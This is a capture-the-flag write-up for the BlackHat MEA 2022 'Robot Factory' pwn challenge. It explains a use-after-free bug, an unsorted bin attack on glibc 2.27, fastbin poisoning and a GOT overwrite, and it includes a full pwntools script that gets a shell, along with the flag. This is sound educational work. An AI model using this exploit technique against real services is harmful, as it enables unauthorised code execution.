Contents

BlackHat MEA CTF 2022

https://i.imgur.com/K113qox.png
BlackHat MEA CTF 2022
https://i.imgur.com/K0qujV8.png
Quals Final Scoreboard

During this weekend, I played BlackHat MEA CTF 2022 with my team Fidethus. We managed to secure the 12th position on this CTF. Here are some of my write-ups for challenges that I solved during the CTF.

pwn

Robot Factory

Initial Analysis

Let’s start by checking the binary via checksec.

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Okay, so the binary is No PIE and Partial RELRO. This will help a lot! Now, let’s check the given Dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
FROM ubuntu:18.04


RUN apt-get update && apt-get -y upgrade
RUN useradd -d /home/task/ -m -p task -s /bin/bash task
RUN echo "task:task" | chpasswd

WORKDIR /home/task

COPY main .
COPY flag.txt .
COPY ynetd .
COPY run.sh .
RUN chown -R root:root /home/task
RUN chmod 755 ynetd
RUN chmod 755 main
RUN chmod 777 flag.txt
RUN chmod 755 run.sh

USER task
CMD ["./run.sh"]

Okay, so the challenge is running in Ubuntu 18.04, and it uses libc-2.27 as the glibc version. Now, let’s try to analyze the binary by disassembling it.

robots_factory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
undefined8 robots_factory(void)

{
  int iVar1;
  
  puts("Welcome to the secret robots factory!");
  while( true ) {
    menu();
    iVar1 = read_int();
    if (iVar1 == 4) break;
    if (iVar1 < 5) {
      if (iVar1 == 3) {
        destroy_robot();
      }
      else if (iVar1 < 4) {
        if (iVar1 == 1) {
          new_robot();
        }
        else if (iVar1 == 2) {
          program_robot();
        }
      }
    }
  }
  return 0;
}

We can see that the binary only gave us 3 menus, new, program, and destroy. Let’s check those methods.

new_robot

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void new_robot(void)

{
  int iVar1;
  void *pvVar2;
  long in_FS_OFFSET;
  uint local_20;
  char local_15 [5];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if (number_robots < 5) {
    puts("Provide robot memory size:");
    read(0,local_15,4);
    iVar1 = atoi(local_15);
    if (iVar1 < 0x101) {
      puts("you\'re creating a stupid robot.");
    }
    else {
      for (local_20 = 0; (int)local_20 < 5; local_20 = local_20 + 1) {
        if (*(int *)(check_robot_slot + (long)(int)local_20 * 4) == 0) {
          pvVar2 = calloc(1,(long)iVar1);
          *(void **)(robots + (long)(int)local_20 * 8) = pvVar2;
          *(undefined4 *)(check_robot_slot + (long)(int)local_20 * 4) = 1;
          *(int *)(robot_memory_size + (long)(int)local_20 * 4) = iVar1;
          printf("You got new page at index %d\n",(ulong)local_20);
          number_robots = number_robots + 1;
          break;
        }
      }
    }
  }
  else {
    puts("All slots are occupied :(");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

We can notice some interesting notes from that method:

  • The max size of the total active allocated chunks is only 5
  • We can only allocate chunks with size larger than 0x101, and based on the atoi method, the size is limited to 4 digits (which means the max value is 9999)
  • Instead of malloc, it uses calloc. We will discuss the key differences later.
  • The allocated chunk (we call it as robot) address is stored in global variable robots
  • The size of the robot is also stored in a global variable called robot_memory_size.
  • There is also a global variable called check_robot_slot which will be assigned to 1 if we create a new robot
  • There’s also number_robots global variable, which will count how many robot we’ve created.

So far, we didn’t see any bugs. Let’s move to the other methods.

destroy_robot

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void destroy_robot(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_15 [5];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Provide robot\'s slot:");
  read(0,local_15,4);
  iVar1 = atoi(local_15);
  if ((iVar1 < 0) || (4 < iVar1)) {
    puts("Slot is empty!");
  }
  else if (*(int *)(check_robot_slot + (long)iVar1 * 4) == 0) {
    puts("robot doesn\'t exist!");
  }
  else {
    free(*(void **)(robots + (long)iVar1 * 8));
    *(undefined4 *)(check_robot_slot + (long)iVar1 * 4) = 0;
    number_robots = number_robots + -1;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Notice that this destroys robot only nullify the check_robot_slot flag, but doesn’t null the robots pointer. This might be a bug.

program_robot

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void program_robot(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_15 [5];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  puts("Provide robot\'s slot:");
  read(0,local_15,4);
  iVar1 = atoi(local_15);
  if ((iVar1 < 0) || (4 < iVar1)) {
    puts("Slot is empty!");
  }
  else if (*(long *)(robots + (long)iVar1 * 8) != 0) {
    puts("Program the robot:");
    read(0,*(void **)(robots + (long)iVar1 * 8),(long)*(int *)(robot_memory_size + (long)iVar1 * 4))
    ;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

This is the edit function, where we can set the data of our allocated chunk. Notice that instead of using check_robot_slot, it still refers to the robots array to check whether a robot is freed or not.

That means, even though we free the robot chunk, we can still edit it. This is a Use-After-Free bug.

So, that’s all the methods that can we use. Notice that there isn’t any print or view method, which means by default, we can’t leak anything. This will make the exploitation harder.

Exploitation Plan

Now that we’ve known that there is a UAF bug, let’s summarize our findings so far:

  • GLIBC version is 2.27
    • That means there is tcache bin, and every time we free a chunk with size < 0x401, it will go to tcache bin first until it fulls
    • When the tcache bin is full, based on its size, it will go to either unsortedbin or fastbin. By default, if the size is larger than 0x80, it will go to unsortedbin. Else, it will go to fastbin.
  • It uses calloc instead of malloc
    • What makes it differs is that calloc doesn’t use tcache bin at all. But, it can use fastbin or unsortedbin.
    • So, if we free a chunk and it goes to tcache, if we call calloc again with the same freed size, it won’t use the tcache. Instead, it will create a new chunk.
  • No PIE and Partial Relro, which means we can overwrite GOT easily as the address is fixed (Only if we can create arbitrary write primitive).
  • There is a UAF bug in the program, which allow us to edit freed chunk.
  • The minimum allocation is 0x101, which means it will go to either tcache or unsortedbin.

Based on that summary, let’s try to think about how should we attack this binary. After reading a lot of resources on the internet and thinking for a while, I found a working plan that could work. First, let’s examine the global variable structure (To find the address, you can use gdb vmmap command to find the rw area of the binary)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
gef➤  x/38gx 0x00000000404000
0x404000:	0x0000000000403e20	0x00007ffff7ffe170
0x404010:	0x00007ffff7dea8f0	0x0000000000401030
0x404020 <puts@got.plt>:	0x00007ffff7a62970	0x00007ffff7af20f0
0x404030 <__stack_chk_fail@got.plt>:	0x0000000000401060	0x0000000000401070
0x404040 <read@got.plt>:	0x00007ffff7af2020	0x0000000000401090
0x404050 <setvbuf@got.plt>:	0x00007ffff7a632a0	0x00000000004010b0
0x404060:	0x0000000000000000	0x0000000000000000
0x404070:	0x0000000000000000	0x0000000000000000
0x404080 <stdout@@GLIBC_2.2.5>:	0x00007ffff7dce760	0x0000000000000000
0x404090 <stdin@@GLIBC_2.2.5>:	0x00007ffff7dcda00	0x0000000000000000
0x4040a0 <stderr@@GLIBC_2.2.5>:	0x00007ffff7dce680	0x0000000000000000
0x4040b0:	0x0000000000000000	0x0000000000000000
0x4040c0 <robot_memory_size>:	0x0000000000000000	0x0000000000000000
0x4040d0 <robot_memory_size+16>:	0x0000000000000000	0x0000000000000000
0x4040e0 <check_robot_slot>:	0x0000000000000000	0x0000000000000000
0x4040f0 <check_robot_slot+16>:	0x0000000000000000	0x0000000000000000
0x404100 <robots>:	0x0000000000000000	0x0000000000000000
0x404110 <robots+16>:	0x0000000000000000	0x0000000000000000
0x404120 <robots+32>:	0x0000000000000000	0x0000000000000000

Notice that the robots array is located at a higher address. If we’re somehow able to forge our good-sized chunk location so that it points to the area of robot_memory_size or check_robot_slot, we will be able to create an arbitrary write primitive, because if we call program_robot on that chunk, it will be able to edit robots array as well, where we can simply fill one of the elements with the target address that we want to overwrite, and then use program_robot again on the overwritten index to do arbitrary write.

Also because it is No PIE, the address is fixed, so we don’t need a leak. Now moving to the next question, how can we forge a chunk so that it points to the global variable area?

Remember that calloc doesn’t use tcache at all so that we can’t poison tcache pointers. We left with forging the metadata of fastbin chunk, but due to the limitation where we can only allocate chunk with size larger than 0x101, we can’t free chunk to the fastbin (It will go to unsortedbin).

After reading resources, turn out fastbin has a variable called global_max_fast, which stored the maximum size of a chunk that can be freed to fastbin. So, we need a way to change this value, so that if we free chunk with size larger than 0x80 (the default value stored), it will go to fastbin.

The trick here is to perform unsorted bin attack. You can find this attack in how2heap repo and this blog.

To give more explanation, let’s check on the gdb first to see the structure of the unsorted bin chunk. You can just try to allocate a big chunk, and then free it in the binary.

1
2
3
4
5
6
7
8
gef➤  x/4gx 0x405260-0x10
0x405250:	0x0000000000000000	0x0000000000002331
0x405260:	0x00007ffff7dcdca0	0x00007ffff7dcdca0
gef➤  x/4gx 0x00007ffff7dcdca0
0x7ffff7dcdca0 <main_arena+96>:	0x00000000004076c0	0x0000000000000000
0x7ffff7dcdcb0 <main_arena+112>:	0x0000000000405250	0x0000000000405250
gef➤  x/gx &global_max_fast
0x7ffff7dcf940 <global_max_fast>:	0x0000000000000080

Notice that the unsorted bin chunk stored a pointer to the main_arena+96, and it is near the global_max_fast. Let’s try to calloc the chunk again, and see what happens to the stored pointer value.

1
2
3
gef➤  x/4gx 0x00007ffff7dcdca0
0x7ffff7dcdca0 <main_arena+96>:	0x00000000004076c0	0x0000000000000000
0x7ffff7dcdcb0 <main_arena+112>:	0x00007ffff7dcdca0	0x00007ffff7dcdca0

Notice that the main_arena+112 value is changed! So, if we’re able to overwrite the stored pointer of the unsorted bin chunk to global_max_fast-0x10, then we allocate the chunk again, we will be able to overwrite global_max_fast value to a huge value so that whenever we freed a chunk after the tcache bin is full, it will go to fastbin (Because the max size is no longer 0x80).

An important note is that, after we do this, the unsortedbin will be corrupted, so we need to ensure that all calloc after this point will use the cached chunks stored in the fastbin. We will discuss this more later.

Now that we found a way to manipulate the fastbin max size, we can move to how to use this in our plan. As you remember, calloc never use tcache bin, so it is very easy to make the tcache full, we just need to create and free it repeatedly. And after it’s full, when we freed a chunk, it will go to fastbin, and calloc is now able to use cached chunk.

Now, remember that we have UAF bug where we can edit robot after it is freed. That means if we’re able to free some robots to the fastbin, we can simply overwrite the fastbin linked list pointer so that it points to our targeted address. And then after calloc, we will get our arbitrary write primitive that we covered before.

To summarize the rough plan:

  • Do unsorted bin attack to overwrite global_max_fast
  • Now, freed some chunks to the fastbin
  • With UAF, overwrite the chunks stored pointer to our targeted address.
  • Allocate it
  • And now, we got a robot which stores a pointer that points to our targeted address, and we can tamper its data (For example, we can use this to overwrite the GOT table).

Remember that we still don’t have a leak up to this point. Because of it, my solution required us to do some brute forcing. The detailed explanation will come in the detailed solution

Detailed Solution

Now, based on those rough plans, let’s try to do detailed steps on how will we exploit this. To make our life easier, let’s try to create a helper first

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def create(r, size):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'size:\n', str(size).encode())

def edit(r, idx, payload):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'slot:', str(idx).encode())
    r.sendafter(b'robot:', payload)

def free(r, idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'slot:', str(idx).encode())

After that, let’s prepare some offset that we will use later during doing GOT overwriting.

1
2
3
4
# Due to no leak, we need to bruteforce so that this solution will work only if the last two bytes
# of the libc base is 00 00 (0x0000)
global_max_fast = 0xd940 # This is the only offset that will work
system_offset = 0xf420 # This is the only offset that will work

Remember that we don’t have any leaks, so brute forcing is required.

In this solution, we plan to overwrite atoi GOT address with system offset. The assumption is that this solution will work only and only if:

  • The libc base address two least significant bytes is 0x0000. For example 0x007ffff79e0000 will work.

Only if the base address fulfills those criteria that our solution will be able to work. Why? Because on libc 2.27:

  • The Offset of atoi is 0x40670
  • The Offset of system is 0x4f420
    • If the libc base address two least significant bytes starting with 0x0000, then we can partially overwrite two bytes of the GOT entry of atoi.
    • For example, if the base starts with 0x1000, that means the atoi address will be 0x41670, and system is 0x50420. Notice that if we overwrite two bytes of the atoi with 0x0420, it will become 0x40420, and it isn’t the correct address for system

Now we have found the correct offset, let’s move to the heap exploitation.

1
2
3
4
5
6
7
8
# Fill tcache[0x110] until it got full
tcache_size = 0x108
offset_increment = 0x260 # Based on gdb observation, when we create the first chunk, the offset will be heap_offset + 0x260
for i in range(7): # We can do this because calloc doesn't use tcache
    create(r, tcache_size)
    free(r, 0)
log.info("Fulfill tcache...")
pause()

Our target is to fulfill the tcache[0x110] bin. Because calloc doesn’t use tcache, we can simply repeatedly create and free to fulfill the tcache.

Let’s check on gdb

1
2
3
gef➤  heap bins tcache
──────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────
Tcachebins[idx=15, size=0x110, count=7] ←  Chunk(addr=0x4058c0, size=0x110, flags=PREV_INUSE)  ←  Chunk(addr=0x4057b0, size=0x110, flags=PREV_INUSE)  ←  Chunk(addr=0x4056a0, size=0x110, flags=PREV_INUSE)  ←  Chunk(addr=0x405590, size=0x110, flags=PREV_INUSE)  ←  Chunk(addr=0x405480, size=0x110, flags=PREV_INUSE)  ←  Chunk(addr=0x405370, size=0x110, flags=PREV_INUSE)  ←  Chunk(addr=0x405260, size=0x110, flags=PREV_INUSE) 

And yup, tcache is full now. Let’s move to the next step, which is trying to overwrite global_max_fast value.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# Create two chunk with size 0x108
# These will be used later
for i in range(2):
    create(r, tcache_size)

# Create huge chunk
max_size = 0x2700
create(r, max_size)

# Create small chunk, so that when we free huge chunk, it won't get consolidated
create(r, 0x111) # This will be used as fake chunk later. We need to set the size to 0x111

free(r, 2) # Go to unsorted bin
log.info("Now we have unsorted bin chunk")

Now, what we do:

  • Create 2 small chunks with size 0x108, so that later when we freed this, it will go to fastbin when we have overwritten the global_max_fast.
  • Create a huge chunk with size 0x2700. Later, when we free this, it will go to unsortedbin.
  • Create two more small chunks just below the huge chunk with size specifically 0x111 for 2 reasons:
    • So that when we free the huge chunk, it won’t be consolidated.
    • So that the last entry of robot_memory_size will store value 0x111. This will be important later when we want to create the arbitrary write primitive.

Let’s check in gdb:

1
2
3
4
5
gef➤  heap bins unsorted
──────────────────────────────────────────── Unsorted Bin for arena at 0x7ffff7dcdc40 ────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0x405be0, bk=0x405be0
 →   Chunk(addr=0x405bf0, size=0x2710, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.

Now, we can start our unsorted bin attack via UAF.

1
2
3
4
5
# With UAF, modify the unsorted bin chunk bk to the global_max_fast-0x10
payload = p64(0) + p64(global_max_fast-0x10)[:2]
edit(r,2, payload)
log.info("Now bk point to global_max_fast")
pause()

With UAF, overwrite the stored pointer in the unsorted bin chunk to global_max_fast-0x10. As you can see in the below gdb result, the stored pointer is now changed.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
BEFORE
gef➤  x/4gx 0x405bf0-0x10
0x405be0:	0x0000000000000000	0x0000000000002711
0x405bf0:	0x00007ffff7dcdca0	0x00007ffff7dcdca0

AFTER
gef➤  x/4gx 0x405bf0-0x10
0x405be0:	0x0000000000000000	0x0000000000002711
0x405bf0:	0x0000000000000000	0x00007ffff7dcf930
gef➤  x/4gx 0x00007ffff7dcf930
0x7ffff7dcf930 <dumped_main_arena_end>:	0x0000000000000000	0x0000000000000000
0x7ffff7dcf940 <global_max_fast>:	0x0000000000000080	0x0000000000000000

Notes that:

  • This requires bruteforce, where this overwriting process will work only if the last two bytes of the libc base are all 0 (0x0000).
  • For the sake of simplicity, during writing this writeup, I simply change the previously defined global_max_fast offset to the correct offset in my local, which is 0xf940.

Now, let’s allocate the same chunk, and you will notice that the global_max_fast value will be overwritten with a huge value (which is an address of libc).

1
2
3
4
5
BEFORE
0x7ffff7dcf940 <global_max_fast>:	0x0000000000000080

AFTER
0x7ffff7dcf940 <global_max_fast>:	0x00007ffff7dcdca0

Now, after this, when we freed any chunk, it will go to fastbin due to the huge value stored in the global_max_fast. Let’s free 2 chunks that we have created before.

1
2
3
4
5
# Now, when we free our previous three chunks, it will go to fastbin
free(r,1)
free(r,0)
log.info("Now, we have fastbin chunk with size 0x110")
pause()

Check on gdb, after the above execution, we successfully cache the robots[0] and robots[1] chunks to fastbin[0x110].

1
2
3
4
5
6
7
Below is our fastbin[0x110] linked list
gef➤  x/4gx 0x00000000004059d0-0x10
0x4059c0:	0x0000000000000000	0x0000000000000111
0x4059d0:	0x0000000000405ad0	0x0000000000000000
gef➤  x/4gx 0x0000000000405ae0-0x10
0x405ad0:	0x0000000000000000	0x0000000000000111
0x405ae0:	0x00007ffff7dcdcb0	0x0000000000000000

Now, with UAF, we want to overwrite the atoi GOT entry to system. First, let’s corrupt our fastbin chunk, to point to the robot_memory_size_offset[3], which mean the fake chunk metadata size is robot_memory_size_offset[4].

Fastbin is pretty strict, where we need to forge the next pointer to point to the same size fastbin chunk. This is the reason why we set robots[4] size to 0x111, so that our fake chunk (which points to robot_memory_size_offset[3]) will have size metadata 0x111 (just like the value stored in robot_memory_size_offset[4]). Because of this, our exploit to change the fastbin linked list will be working well.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
# We are going to overwrite atoi got with system
atoi_got = exe.got['atoi']
log.info(f'atoi address: {hex(atoi_got)}')

# Points to the size of robots[3]
# Remember that fastbin is pretty strict with its chunk size, which is why we previously set
# The robots[4] size to 0x111, so that it can be used as a fake fastbin chunk with size 0x110
robot_memory_size_offset = 0x4040c8
edit(r,0,p64(robot_memory_size_offset)) # UAF,overwrite fastbin pointer to the robot memory size offset

create(r, tcache_size)
create(r, tcache_size) # Now robot[1] point to the desired offset. We now have arbitrary write
log.info(f'Now, robots[1] point to the desired offset')
pause()

After the above execution, inspecting in gdb, we successfully create our arbitrary write primitive in the robots[1].

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
gef➤  x/5gx &robots
0x404100 <robots>:	0x0000000000000000	0x00000000004040d8
0x404110 <robots+16>:	0x0000000000000000	0x0000000000000000
0x404120 <robots+32>:	0x0000000000000000
gef➤  x/10gx 0x00000000004040d8-0x10
0x4040c8 <robot_memory_size+8>:	0x0000011100002700	0x0000000000000111
0x4040d8:	0x0000000000000000	0x0000000100000000
0x4040e8 <check_robot_slot+8>:	0x0000000000000000	0x0000000000000000
0x4040f8:	0x0000000000000000	0x0000000000000000
0x404108 <robots+8>:	0x00000000004040d8	0x0000000000000000

Notice that robots[1] now points to robot_memory_size[3]

Now, with the feature program_robot, we can modify the robots array stored value, so that it points to our desired address. We can do this because the stored size of robots[1] in robot_memory_size array is large enough to reach the robots. Then with the program_robot to the element robots[0], we can write any value that we want.

1
2
3
4
5
6
7
payload = p64(1)*2
payload += p64(1)*3
payload += p64(atoi_got) # Set robots[0] to atoi GOT
edit(r,1,payload) # Arbitrary write
edit(r,0,p64(system_offset)[:2]) # Partial overwrite atoi to system
log.info(f'Now, atoi is changed to system')
pause()

Notes that as mentioned before, this required bruteforce. For the sake of simplicity in this writeup, I manually set the correct system offset in my local. Below is the gdb inspection result.

1
2
3
4
5
6
7
BEFORE
[0x404058] atoi@GLIBC_2.2.5  →  0x7ffff7a22670

AFTER
[0x404058] atoi@GLIBC_2.2.5  →  0x7ffff7a31420
gef➤  x/gx 0x7ffff7a31420
0x7ffff7a31420 <__libc_system>:	0xfa66e90b74ff8548

Now, let’s take a step back to look at the robots_factory menu code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
undefined8 robots_factory(void)

{
  int iVar1;
  
  puts("Welcome to the secret robots factory!");
  while( true ) {
    menu();
    iVar1 = read_int();
    if (iVar1 == 4) break;
    if (iVar1 < 5) {
      if (iVar1 == 3) {
        destroy_robot();
      }
      else if (iVar1 < 4) {
        if (iVar1 == 1) {
          new_robot();
        }
        else if (iVar1 == 2) {
          program_robot();
        }
      }
    }
  }
  return 0;
}

To process our input, it will call read_int.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int read_int(void)

{
  int iVar1;
  long in_FS_OFFSET;
  char local_15 [5];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  read(0,local_15,4);
  iVar1 = atoi(local_15);
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return iVar1;
}

As you can see, we can send a string with size limited to 4, and it will be passed to atoi.

That means we just need to simply send sh during inputting the usual menu, and we gain a shell. In remote, We just need to run the below script many times, and if the ASLR of the libc base’s last two bytes is 0x0000, we will successfully spawn the shell, like the picture below.

https://i.imgur.com/Q9GR5gc.png

Full script:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
from pwn import *
from pwn import p64, u64, p32, u32

context.arch = 'amd64'
context.encoding = 'latin'
context.log_level = 'INFO'
warnings.simplefilter("ignore")

exe = ELF("./main_patched")
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")

context.binary = exe


def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.PLT_DEBUG:
            gdb.attach(r)
    else:
        url = 'blackhat2-ea1a9ec94289cd9df8e692f6ce7c828e-0.chals.bh.ctf.sa'
        r = remote(url, 443, ssl=True, sni=url)

    return r

def create(r, size):
    r.sendlineafter(b'> ', b'1')
    r.sendlineafter(b'size:\n', str(size).encode())

def edit(r, idx, payload):
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'slot:', str(idx).encode())
    r.sendafter(b'robot:', payload)

def free(r, idx):
    r.sendlineafter(b'> ', b'3')
    r.sendlineafter(b'slot:', str(idx).encode())

r = conn()

# Due to no leak, we need to bruteforce so that this solution will work only if the last two bytes
# of the libc base is 00 00 (0x0000)
global_max_fast = 0xd940
system_offset = 0xf420

# Fill tcache[0x110] until it got full
tcache_size = 0x108
offset_increment = 0x260 # Based on gdb observation, when we create the first chunk, the offset will be heap_offset + 0x260
for i in range(7): # We can do this because calloc doesn't use tcache
    create(r, tcache_size)
    free(r, 0)
log.info("Fulfill tcache...")
pause()

# Create two chunk with size 0x108
# These will be used later
for i in range(2):
    create(r, tcache_size)

# Create huge chunk
max_size = 0x2700
create(r, max_size)

# Create small chunk, so that when we free huge chunk, it won't get consolidated
create(r, 0x111)
create(r, 0x111) # This will be used as fake chunk later. We need to set the size to 0x111

free(r, 2) # Go to unsorted bin
log.info("Now we have unsorted bin chunk")
pause()

# With UAF, modify the unsorted bin chunk bk to the global_max_fast-0x10
payload = p64(0) + p64(global_max_fast-0x10)[:2]
edit(r,2, payload)
log.info("Now bk point to global_max_fast")
pause()

# Now this create will overwrite global_max_fast to random huge value
create(r, max_size)
log.info("global_max_fast got overwritten")
pause()

# Now, when we free our previous three chunks, it will go to fastbin
free(r,1)
free(r,0)
log.info("Now, we have fastbin chunk with size 0x110")
pause()

# We are going to overwrite atoi got with system
atoi_got = exe.got['atoi']
log.info(f'atoi address: {hex(atoi_got)}')

# Points to the size of robots[4]
# Remember that fastbin is pretty strict with its chunk size, which is why we previously set
# The robots[4] size to 0x111, so that this can be used as a fake fastbin chunk with size 0x110
robot_memory_size_offset = 0x4040c8
edit(r,0,p64(robot_memory_size_offset)) # UAF,overwrite fastbin pointer to the robot memory size offset

create(r, tcache_size)
create(r, tcache_size) # Now robot[1] point to the desired offset. We now have arbitrary write
log.info(f'Now, robots[1] point to the desired offset')
pause()

payload = p64(1)*2
payload += p64(1)*3
payload += p64(atoi_got) # Set robots[0] to atoi GOT
edit(r,1,payload) # Arbitrary write
edit(r,0,p64(system_offset)[:2]) # Partial overwrite atoi to system
log.info(f'Now, atoi is changed to system')
pause()

r.interactive() # Now, enter sh, and atoi(input) will be system("sh")

Flag: BlackHatMEA{1246:23:a4ea71cd5cedf7bd35ff38a9874dd95e04b1153a}

Social Media

Follow me on twitter